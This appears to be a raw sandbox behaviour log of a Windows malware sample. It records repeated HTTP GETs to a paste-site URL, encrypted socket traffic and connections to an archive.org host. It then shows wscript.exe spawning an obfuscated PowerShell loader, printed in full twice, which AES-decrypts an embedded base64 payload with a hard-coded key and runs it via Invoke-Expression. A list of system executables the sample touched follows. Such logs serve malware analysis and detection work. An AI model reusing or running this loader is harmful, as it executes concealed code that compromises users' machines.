 buffer: PÑåÙÉT{ô¦ÿ«pÆöuej ±¨&=ÿH’‹ýŽgc¢4”«#B>Ë®'½m äì ôNö×­¬&Ô‘Šë´©‚VÈ÷!£ùª¯¨¥/[j’v Vïª3@ülÙÚÿvqkhÛ³ ñ £jàng$ƒg62MØ­þ–u•¨¥ÁçßÞ¯Jª_þÄ’°¼aùW"ÎrN.* ¢rq‡‰‰qÜ[ˆßa}¬Å9ðÂBÈM4ì“XóÃK%ÞêHl5¿\xcs„¨ð1Bf€©):!L0ĸ£)t%ÕñMELÓéß,pÕ¤ñ:$|èRè͜úï=¡­â ÿà5Çt¡mÂFq²@abw›Ñì¾³ú ÖÈøÐmå÷Ø&M˜d'Ž#åe©!HRǗ¼”Qˆ?Îhøj¸Ó‹~ø°Žóñƒ2Û5·±®eÊR¡n
socket: 1028
sent: 341
1 341 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

InternetCrackUrlA

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: °}sù]$Ë£:.{²W¯»sŒ)Y„sõa# ÿžðÏFôV¦D=äX‹Š€&hbúù䳔ÎJÇ»öÜ(È÷JÛ;ݤüöŒÜfc4¾5°pí*Ä Nx”íœõ Bvâ¾E˜ò¨4æugŒÔõÉežÑ/ϒÑæn PFRà¤É¡ß^~-܆L”ä>ýŸºføjTœï¤óò烁—[_/îÕTÇRÛÈå+Í Û¬wýÿÈ•Eଠ1’Oê‹Ì˜2a֚3òB,^’IìýK•ŒµKwÅɉïËid4¼¥¢!tÁŠ_ëÿ¨šØpŠãþ T {>.éÉòÄ×xCìAMÏ·bêÌÇ®·J Y+ÍJ덏ȑ.D³¦ú%$\€`*·çÌšð»»'s—L¯¡%>TR[éG%â÷v`‹¸Pñ8ÞPu¶ ¢ : GtŒ8ˆbµŽ¾­3ðU‰Š@öÂ~¢|ÜFVÖ5­eîV¸°õ.³J½ÀBpÿX8‰ÿêAñ(\ÙMB» kÂpk^,Ø
socket: 1028
sent: 437
1 437 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: °­ì®ÿ8œ:DKß°”™0Ǭõ,…¥ ð Md£—VKÍÇÑj««Mó9öƒqíG)„tz¬0ˆ“s‰qBD½uw¶,!ˆú¼|ïø€ÌU.ØäaԆAûÅ'º¼o,;iä|é9НL°Õ1¦a¶hŒM'’‹tíeֆ•¸u¡pçÐbšVœßXºh…áÅ0“™h¿¢F²±¸Ë_#ºùKxÿO ÔDø˜õÏÁ¨Nó¶‡Ù@`»Î' ï­{‹í´‘¥6…Áš‹ ê ݶ?þéù˜àI šÜ¶å¤LÖ(î%o˜ÃR.€¸ðÄuð§&jN¾,?ós­í7]±ožŠ*w‰7ì?ɂ¥×Û"nqØ;Bs±‚›í¬r'‰éÿØ5lÂ.fYê?û.±9ËùޅO›švV˜‡Û*ç0Gî5`ö*:òU10,ʬ‰.a©ìó…zS î!iVº¾GÂà腷¾1îµi9'–Åšüñ¾²+ýxZ~vÝ3w)9(j‹òvr…ft DPþ€Õ‰åÁm¬‰
socket: 1028
sent: 437
1 437 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: °‰»%Œ,ߎ°‚óöKy!·²Nqy°dցð‘bAp‚Gd u>ÍùÛy¯N—Ò\¬Š3ÍÖûºos³ÂþÕ_b&ˆV”9öÿH&[2÷ èÊuxÝ(æ 4D<"í‹sÅ·èÝ»Ë3£LüK%mt¼¥‰ÌI‹µH˜b|D„ËD6 ’퀷ȟõ5¨žëœM4Àg¬Ėä¨9wõ«ž¢8åF±W†yÕÃÚ¢9?Yw 7áBwmŽ2¨9»Ö¡QbËýŠç‚2}W4^þ§¼#úÔøò[-Ý%ë@¼RPÓ%`VÜ£z7p­ÌIõ ß ¡•óĘbÄ´J†¼BO35ŒqXsúðß{ÃO—g vTÁÅu¼O’ʲ„nJµæVB°,žiµI6eëÍ,ƒŽ·àŠkwqc¶f£ ±EZõ‰“ÀòٝmuâÚÁpfg97_Á҇zÛ´ž |µ¯¸ {B¯ßeó)™È~і0ѕHŸ‰¿>¸%8Ly¬z’¡ çdLtqX`“îI»sÚ¨t‹¿
socket: 1028
sent: 437
1 437 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: °´¬T2±#Yöö]Léòæϟ dkJ1‡,ɔ¹.:BÜ)ÉF\ÉοäBÈ>™óåIEíËv:ï¢D~Ѹ7ö¨»±Ê˗ϊg§»Æúm#á>½‚—™€4lºoÒë4ºï¿Å.3‡-1IÛuÜKSe’§Q‡ÖLŒ4×e¦¢J>S¿{;:ÀvòG/q\ ,£ŒP\S>ûÂr‹Š3,ªÒžèÞ¦ó15¤}ÁØØ èÞ|ÍÑÏKºµ–¿jþå­ìV0ÀMâGôQîì©IÁàLFç€ ס¦™îbå{8H̀'¬_ê¼~á:BWþ;Ú¬ìwBÝÌË1×£)åÕ´ -SÚB$+±ee˜k¢%ÖÝN<:—-2ƒÐþ· ØjGŽd·•»¢rÄV>^€ÏË,!¨$ïÇ­çRp¬3 ü0èÞ\[%و#€=@§Kê+øaž;í^-¥º9ýÚ~€•+Ñ®=4üPèû¿õ\lµ¯jVâלJª=; 6cy6¼ý s}§y
socket: 1028
sent: 437
1 437 0

send

 buffer: !
socket: 916
sent: 1
1 1 0

send

 buffer: zvf™âߐ_Ú»§™f™ò¯O¢²Ì%S§JüŸSªÚ/5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1316
sent: 127
1 127 0

send

 buffer: zvf™âߏ¸¤ È ÿ;øZ,‰QX9*&Ár÷zwØ'Ыy/5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1316
sent: 127
1 127 0

send

 buffer: zvf™âà#ÚôÀã lNÀ#€!,òûéLðPÉÀ¹/5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1316
sent: 127
1 127 0

send

 buffer: zvf™âà{u_ÜöáHiµü hI\˜Ê»2üÙ¹L‡YòÙ/5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1316
sent: 127
1 127 0
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI09972690008023797368066377468917CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIV8j9BK9bfs/lZP5zFepyR9aRZf8BDzdLeJ1Wr3rZYBw6jT7kuTdwSitjBTH6Sqx88yVFht6lnslkubPCFwxqncRlDrOw9owyJA1zM90PpRr0FaiG+XBe+UtMNx0zzpBZSa7qy/b9pIjbcvkqnwOM6Be0WWFDxVUlj0TDp91XwH/c6ciz+iu6mES3yq5+wAOV+zPJuNp5hqnddk0tEqxo/qMCo+cG/l6r3ezM1s2QQFmQ8AFnu00n4jTFSMCxwGmJXOuAFt0wBq5jfwNhiaVTTCeBRL+vRhYBKAGD/u1Dvw+qPTtj9QM1HRT6VDvUjK3PzbH+R2AR4nOSq9v5lFSm/4FB/+TP5hP/0G/K30EABLByahNrwdJ16uU9iuUdUxN+NdEE/cElVfqnk/AVYq5zOi8KMYjn+cBM7t37nFOU+0R7dqQpX1bw4M9xtDwytc8lEk+oLySfh6DkQx9ZP51+DlSOxtzP8BlibGMotYNxGINUMoFBpW0X5W8pofLjTrSt7qBAj097EKphKYe3dnFx994W4acnmzPqqTr9PR82rWmLbfQf2jbKptR1IhGuTYv9zQSE15Vrf85rElqm4KW35kLioiJMv56w49TVJdaAGq/G+se+SBcPFtd0cm2wycIuQ4pVC4xxw+WdpJi1FZv87Rwrz7pU1f5LIlkQi0+6eoNG6yxyTKoTJaQAuX2geHwz+f9R6YUS2D7ybG0Vvw+ZFtSb2YV8cqEjPCNT4AdDGlZYcPsf6Hbm1EvW5r7k+0F/yDLB/y2wX4CLIycRbGPZgnjXi4jl/RK4SeIOxoVCs0mtuhlxR9NC8ercXMf5/Emw/QTDPPHm3uTaueMrnP01pI2r2Clos+w8/I3AEeg0Gz8iE1h5bY5D0OUVA7NaAIFwW45kfIOBkH0D6efJmwO0pY8b7loXQGCQrpaKFIWDUM4r97poqR4yhZYSxi7iwH+Vl/YNiqosLi5Z81MJ2NG+ei7HNxiblmO1AZ89LR/dD0RunVNNNhBOJ20glXfhQablo+F3yp9MnWBGU16Whu0b6YAdUDUvUVnxmuvpy1sVCQUTPsID8xFq1R/xK5GuhKddgv7GGw5SyZsSIDp0vbCvsX5oX3OIOydStyJIHumBn7h4OZdqvwvPZBapFBOGY9z0eeM3eCmqn0yk6DyJu0+gi5P+zDlz8SpCj+SNGMTJz0l905+iyHMyMWnkggQmgVzyg1Q6TkjS0ZXZx393y9B2605wrJHM48GqCWK4XqzWw45YDLcHSdqf+UBwT7GfcFNHv00ImuK+RnIuKMlHCWkV2tSGFh0wWgQywUjcsnZ34gpxsLS1SAxWC6/IFwxYsJk/GBcEMH0rTPbUNm2J+jFt11Avnq+K7RF/SwZLc/leZ1akr2gXbw4IRwvGO7CMtEpzUm1Zdy4mb/6VvbqVTq44zZ26ZyUo6gblDsc0klLgF3zsOD6WSrKV3lnuwKRjndiyyki5Sg9zHqW6vFA3JeHtj8BLeOGKSkbOBxHZWnQ2oJ7RUYNjiEkGbh65ZTwaEvs4uRuedzxH0kPVOV507iFyClriTFrO1uoxRQsT09iGQiOoy+LVcGHswQA6jQ8EsbetUL9hQJXOrgFLBuWvyk/YWmUK/7aoFOtJ/sOFbmU430Td/Q/lIkds2Pa2fDor+IhZkK+vDjiTT88AV/YFn+sJUrtD/3/4UtT1FQqoB4YhPhlNOQO3j4jovLs0f4eqLACrrvVjz0E1KJe1UFyBf3QvCf0ym/956bEdz78V4FOo6XRV9Zd3o7x1Cb8dTqahS3VCCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
parent_process wscript.exe martian_process powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI09972690008023797368066377468917CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIV8j9BK9bfs/lZP5zFepyR9aRZf8BDzdLeJ1Wr3rZYBw6jT7kuTdwSitjBTH6Sqx88yVFht6lnslkubPCFwxqncRlDrOw9owyJA1zM90PpRr0FaiG+XBe+UtMNx0zzpBZSa7qy/b9pIjbcvkqnwOM6Be0WWFDxVUlj0TDp91XwH/c6ciz+iu6mES3yq5+wAOV+zPJuNp5hqnddk0tEqxo/qMCo+cG/l6r3ezM1s2QQFmQ8AFnu00n4jTFSMCxwGmJXOuAFt0wBq5jfwNhiaVTTCeBRL+vRhYBKAGD/u1Dvw+qPTtj9QM1HRT6VDvUjK3PzbH+R2AR4nOSq9v5lFSm/4FB/+TP5hP/0G/K30EABLByahNrwdJ16uU9iuUdUxN+NdEE/cElVfqnk/AVYq5zOi8KMYjn+cBM7t37nFOU+0R7dqQpX1bw4M9xtDwytc8lEk+oLySfh6DkQx9ZP51+DlSOxtzP8BlibGMotYNxGINUMoFBpW0X5W8pofLjTrSt7qBAj097EKphKYe3dnFx994W4acnmzPqqTr9PR82rWmLbfQf2jbKptR1IhGuTYv9zQSE15Vrf85rElqm4KW35kLioiJMv56w49TVJdaAGq/G+se+SBcPFtd0cm2wycIuQ4pVC4xxw+WdpJi1FZv87Rwrz7pU1f5LIlkQi0+6eoNG6yxyTKoTJaQAuX2geHwz+f9R6YUS2D7ybG0Vvw+ZFtSb2YV8cqEjPCNT4AdDGlZYcPsf6Hbm1EvW5r7k+0F/yDLB/y2wX4CLIycRbGPZgnjXi4jl/RK4SeIOxoVCs0mtuhlxR9NC8ercXMf5/Emw/QTDPPHm3uTaueMrnP01pI2r2Clos+w8/I3AEeg0Gz8iE1h5bY5D0OUVA7NaAIFwW45kfIOBkH0D6efJmwO0pY8b7loXQGCQrpaKFIWDUM4r97poqR4yhZYSxi7iwH+Vl/YNiqosLi5Z81MJ2NG+ei7HNxiblmO1AZ89LR/dD0RunVNNNhBOJ20glXfhQablo+F3yp9MnWBGU16Whu0b6YAdUDUvUVnxmuvpy1sVCQUTPsID8xFq1R/xK5GuhKddgv7GGw5SyZsSIDp0vbCvsX5oX3OIOydStyJIHumBn7h4OZdqvwvPZBapFBOGY9z0eeM3eCmqn0yk6DyJu0+gi5P+zDlz8SpCj+SNGMTJz0l905+iyHMyMWnkggQmgVzyg1Q6TkjS0ZXZx393y9B2605wrJHM48GqCWK4XqzWw45YDLcHSdqf+UBwT7GfcFNHv00ImuK+RnIuKMlHCWkV2tSGFh0wWgQywUjcsnZ34gpxsLS1SAxWC6/IFwxYsJk/GBcEMH0rTPbUNm2J+jFt11Avnq+K7RF/SwZLc/leZ1akr2gXbw4IRwvGO7CMtEpzUm1Zdy4mb/6VvbqVTq44zZ26ZyUo6gblDsc0klLgF3zsOD6WSrKV3lnuwKRjndiyyki5Sg9zHqW6vFA3JeHtj8BLeOGKSkbOBxHZWnQ2oJ7RUYNjiEkGbh65ZTwaEvs4uRuedzxH0kPVOV507iFyClriTFrO1uoxRQsT09iGQiOoy+LVcGHswQA6jQ8EsbetUL9hQJXOrgFLBuWvyk/YWmUK/7aoFOtJ/sOFbmU430Td/Q/lIkds2Pa2fDor+IhZkK+vDjiTT88AV/YFn+sJUrtD/3/4UtT1FQqoB4YhPhlNOQO3j4jovLs0f4eqLACrrvVjz0E1KJe1UFyBf3QvCf0ym/956bEdz78V4FOo6XRV9Zd3o7x1Cb8dTqahS3VCCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe